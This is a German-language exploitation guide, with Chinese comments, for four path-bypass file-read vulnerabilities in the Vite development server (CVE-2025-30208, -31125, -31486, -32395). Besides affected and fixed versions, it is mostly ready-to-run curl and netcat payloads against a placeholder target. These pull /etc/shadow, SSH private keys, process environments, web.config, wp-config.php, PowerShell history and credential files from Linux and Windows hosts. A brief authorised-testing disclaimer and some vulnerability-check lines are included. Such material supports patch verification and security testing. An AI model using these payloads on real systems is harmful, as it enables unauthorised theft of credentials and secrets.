
Exploitationsanleitung und automatisiertes Erkennungsskript für vier Schwachstellen zum beliebigen Dateilesen im Vite-Entwicklungsserver (CVE-2025-30208/31125/31486/32395) mit Beispielen für Linux und Windows.
Dieses Dokument fasst die Methoden zur Ausnutzung von vier beliebigen Dateilese-Schwachstellen im Vite-Entwicklungsserver zusammen, einschließlich Beispielen für Linux- und Windows-Systeme. Bitte beachten: Nur in autorisierten Sicherheitstestumgebungen verwenden.
Diese vier Schwachstellen im Vite-Entwicklungsserver ermöglichen es Angreifern, die server.fs.deny-Einschränkung zu umgehen und beliebige Dateien auf dem Server zu lesen. Jede Schwachstelle verwendet eine andere Umgehungstechnik, aber die grundlegenden Prinzipien sind ähnlich.
Alle vier Schwachstellen erfordern die folgenden Bedingungen, um ausgenutzt werden zu können:
--host oder der server.host-Konfigurationsoption)Betroffene Versionen: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Behobene Versionen: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10
Ausnutzungsprinzip: Durch Hinzufügen von ?raw?? oder ?import&raw??-Abfrageparametern in der URL wird die @fs-Pfadeinschränkung umgangen. Dies liegt daran, dass die abschließenden Trennzeichen (z. B. ?) an mehreren Stellen entfernt werden, aber im regulären Ausdruck der Abfragezeichenfolge nicht berücksichtigt werden.
Beispiele für Linux-Systeme:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞
**Windows-Systemausnutzungsbeispiel**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??" # 如果返回文件内容,则存在漏洞
Betroffene Versionen: Gleiche wie CVE-2025-30208
Behobene Versionen: Gleiche wie CVE-2025-30208
Ausnutzungsprinzip: Durch die Verwendung bestimmter Importmethoden, wie ?inline&import oder ?raw?import, wird die server.fs.deny-Konfiguration umgangen.
Beispiel für die Ausnutzung unter Linux:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞
**Beispiel für die Ausnutzung von Windows-Systemen**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import" # 如果返回文件内容,则存在漏洞
Betroffene Versionen: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12
Behobene Versionen: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12
Ausnutzungsprinzip:
?.svg?.wasm?init oder Verwendung des sec-fetch-dest: script-Headers wird die Einschränkungsprüfung für .svg-Dateien umgangen../../) zur Umgehung der EinschränkungenLinux-System-Ausnutzungsbeispiel:```bash
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"
curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
**Beispiel für Windows-Nutzung**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"
# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini" # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
Hinweis: Die SVG-Umgehung funktioniert nur, wenn die Datei kleiner als build.assetsInlineLimit (Standard 4 kB) ist und Vite 6.0+ verwendet wird.
Betroffene Versionen: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13
Behobene Versionen: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13
Ausnutzungsprinzip: Ausnutzung der Tatsache, dass das #-Zeichen im request-target gemäß HTTP 1.1-Spezifikation nicht erlaubt ist. In Node- und Bun-Laufzeiten werden diese Anfragen nicht intern abgewiesen, http.IncomingMessage.url enthält #, und Vite geht bei der Überprüfung von server.fs.deny fälschlicherweise davon aus, dass req.url kein # enthält.
Beispiel für die Ausnutzung unter Linux:```bash
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173